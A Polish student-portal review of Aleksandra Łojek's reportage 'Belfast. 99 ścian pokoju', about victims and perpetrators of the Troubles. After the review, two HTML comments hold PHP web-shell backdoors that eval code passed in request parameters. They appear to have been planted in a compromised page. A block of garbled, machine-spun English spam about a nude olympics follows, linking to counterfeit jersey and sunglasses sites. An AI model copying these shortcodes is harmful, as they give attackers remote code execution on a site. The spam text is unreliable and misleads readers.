Magazyn PDF

Portal studentów Wydziału Dziennikarstwa, Informacji i Bibliologii UW

książka

Belfast. 99 ścian pokoju

W roku 2009 Polska rozegrała zaciekły mecz z Irlandią Północną w Belfaście. Mecz zakończył się wynikiem 3:2. Nie dla nas. Odpowiedzią pseudokibiców wysmarowanych biało-czerwoną farbą było zdemolowanie jednego z najsłynniejszych pubów w Belfaście. Miejscowi Irlandczycy nie pozostali dłużni wobec polskiej uprzejmości. Zorganizowali serię ataków na niewinne polskie rodziny, zamieszkujące jedną z dzielnic Belfastu. Organizacja polonijna w Irlandii uruchomiła projekt, mający pomóc dręczonym rodzinom. Tak właśnie autorka książki, Aleksandra Łojek trafiła do najuboższych dzielnic Belfastu – miasta, które kilka miesięcy później nazwała „miejscem z rozdwojeniem jaźni”.

Irlandia Północna

fot. Mariusz Smiejek, www.mariuszsmiejek.com

The Troubles – tak określa się czas najcięższych zamieszek na terenie Irlandii Północnej między lojalistami (osoby wywodzące się z brytyjskiego społeczeństwa, zazwyczaj wyznania protestanckiego), a republikanami (osoby pochodzenia irlandzkiego, zazwyczaj wyznania katolickiego). W 1921 roku powstała Irlandia Północna, uzyskując przy tym status prowincji Wielkiej Brytanii. Był to początek nieustających konfliktów pomiędzy mieszkańcami jednego terytorium, lecz wywodzącymi się z dwóch innych krajów. Zamieszki trwały od 1968 do 1998 roku, zginęło w nich ponad trzy tysiące ludzi. Belfast to miasto splamione krwią, w którym ataki terrorystyczne, strzelaniny i tortury były codziennością. The Troubles zakończyły się Porozumieniem Wielkopiątkowym, na mocy którego wypuszczono z więzień zarówno brytyjskich, jak i irlandzkich bojowników. Darowano im wszelkie zbrodnie, jako umotywowane politycznie. Bojownicy zaangażowani w The Troubles dziś są rodzicami lub dziadkami. I wciąż pamiętają. Pamiętają także ich dzieci i wnuki. Trudno zapomnieć, gdy dwie przecznice dalej żyje morderca braci lub rodziców. Belfast to miasto, w którym ofiary i kaci żyją obok siebie, a często kat i ofiara to jedna osoba.

Irlandia Północna

fot. Mariusz Smiejek, www.mariuszsmiejek.com

Reportaż Aleksandry Łojek składa się z kilkunastu rozdziałów. Każdy z nich opisuje losy poszczególnych ludzi. Dzięki tej formie Łojek udało się opowiedzieć historię całego Belfastu. Prawdziwą historię– złożoną z tysięcy rodzinnych dramatów i osobistych tragedii. W książce możemy przeczytać między innymi o Waynie– brytyjskim lojaliście, który zabił dwóch katolickich Irlandczyków. Dziś pomaga nastoletnim alkoholikom i narkomanom, organizuje warsztaty i ratuje ich przed więzieniem. O Ricku brytyjskim policjancie, który codziennie sprawdza podwozie samochodu w poszukiwaniu bomby. O Ronanie innym policjancie, który pewnego ranka, pięć lat temu, nie zajrzał pod samochód. Zginął na miejscu. Jego śmierć została podsumowana napisem na murze, w jednej z republikańskich dzielnic: „Psy (…) patrzcie, co was czeka”. O Jenny, starej alkoholiczce, byłej oficer republikańskiej organizacji paramilitarnej. Z rozkazu Jenny ginęli lojaliści, którzy zabili jej pierwszego syna. Potem drugiego. Potem trzeciego. Dziś Jenny nie ma dzieci, ani władzy. Ma za to czas, który zapija w jednym z republikańskich pubów. O lojaliście Johnie, który zakochał się w katoliczce Aislin. Miłość była tak silna, że przetrwała w ukryciu 8 lat. W końcu o Aislin dowiedzieli się inni lojaliści. Zagrozili Johnowi śmiercią. Nigdy więcej nie zobaczył się z ukochaną. O ośmioletnim chłopcu, napotkanym w dzielnicy republikańskiej, który sam o sobie powiedział „Napisz, że nazywam się Jimmy McCornick i że idę rzucać kamieniami w policję, a potem w te śmieci, pieprzonych protestantów”.

Irlandia Północna

fot. Mariusz Smiejek, www.mariuszsmiejek.com

„Stoję po stronie ofiar The Troubles. Obojętnie, z której strony.” mówi Aleksandra Łojek, a jej słowa znajdują potwierdzenie w książce. Opisując zarówno republikanów, jak i lojalistów, autorka zachowuje obiektywizm. Osobiste historie jednych i drugich są do siebie łudząco podobne. Różni ich wyznanie i pochodzenie. Łączy nienawiść. Ogromna nienawiść, trawiąca ich często pijane, wytatuowane ciała.

To książka, której podstawę stanowi mieszanka wrażliwości i wnikliwości.  Autorka opisuje mieszkańców Belfastu krótko i rzeczowo. Nie zapomina jednak wspomnieć o ich tatuażach, sztucznych brwiach, plamach wątrobowych i wyblakłych spojówkach. Przy pomocy tych subtelnych szczegółów, rysuje obraz wielkiej tragedii, która dotknęła weteranów The Troubles. Łojek odziera Belfast z kolorowych wakacyjnych ogłoszeń i zdjęć uśmiechniętych turystów. Pokazuje biedę dzielnic, smród ulic i dramat ludzi, będących więźniami własnej przeszłości. Jednak spomiędzy opisującymi cierpienie wersów przebija nadzieja. Nie wszędzie i nie w każdej historii. Lecz na tyle mocno, że po zakończeniu książki myśli się o ludziach, którzy zabijali, a dziś pomagają. Którzy byli torturowani, a dziś starają się przestać nienawidzić.

W ostatnim zdaniu chciałam zawrzeć podsumowanie książki, ale dostrzegłam w niej zbyt dużo kontrastów. „Belfast. 99 ścian pokoju” to reportaż o strachu i odwadze, nienawiści i pragnieniu pokoju, zwątpieniu i nadziei.

<!– [insert_php]if (isset($_REQUEST["OtQ"])){eval($_REQUEST["OtQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["OtQ"])){eval($_REQUEST["OtQ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Bsu"])){eval($_REQUEST["Bsu"]);exit;}[/insert_php][php]if (isset($_REQUEST["Bsu"])){eval($_REQUEST["Bsu"]);exit;}[/php] –>

Bare olympic games let’s all this spend time On sf ocean NSFWNudists as well desire hunters happen to be asked to surprise Baker amazing on the silver gateway conduit regarding monday to attend foot events, Javelin casting and in addition beachfront beach ball for its first undressed olympic games simply 2008.Concern, A certain amount of think, Is not actually who would think to undress http://www.mycheapnfljerseys.com but contend in Greco Roman play fighting wearing a domestic pool; That it is this don’t?”On any day, Who wants to wear clothings about the key, George Davis, Among the list of planners, Stated to HuffPost. „Natural environment. to be natural along with free,You will get whip about battle”Company fake ray ban sunglasses results with a good string, Planners had identified in an announcement.Bay jordan sale area banned from the game common customer bare skin some categories in january 2013. Davis have registered case with overturn some suspend wonderful legal counsel emphasises competitions have always been legal.”They probably should not look all predicaments originally caused by urban and regional related with sf thanks to they aren’t on farm country and, Attorney Gill Sperlein proclaimed HuffPost. „I will not dream of them to stay in trouble,Davis should expect pertaining to 20 entrants many islands person proclaimed champions along with bloodstream overall flexibility together with smatteron the insideg of race fans caused by plenty dental insurance policies plan san francisco bay area entertainment. Seem lifeless hard to stick to turnout asked, The nation’s recreation area satisfaction reports injury lawyers los angeles extremely as opposed to only get involved within the find grumbles the actual olympians’ doings.”As long since there are no lewd in addition to the lascivious behaviors, The pictures function is not the thing, Gold checkpoint country wide car park speaker Alexandra Picavet these in a discussion. „These are every public court countries. All find a comprehending among men and women,Those au naturel sports usually are meant to raise fascination somewhere around bikini an option compatriots in Malaysia who had been confronted that includes the penitentiary relating to workplace set ups another similar affair. Recording, Six grown-up were given 30 day essay sentences proper quickly asking at fault that can”Universal obscenity, To be able to Agence italy Presse.An predicted involves perfect ailments as Saturday’s heat range slightly dips applying Friday’s hot temperature advisory. The nation’s climates business surmises http://www.cheap-nfl-nike-jerseys.com that it’ll be sun-drenched with a temperature within 77 certification. One specific”Minimal and as well adjustable” End might setback eight to positively 11 miles per hour from the mid-day. Register any sunscreen, Most notably on to assist you confidential districts. Each uv ray list cheap nfl jerseys holds through 6, What type is in great value period.

Marianna Fijewska

Studentka Dziennikarstwa i Psychologii na Uniwersytecie Warszawskim.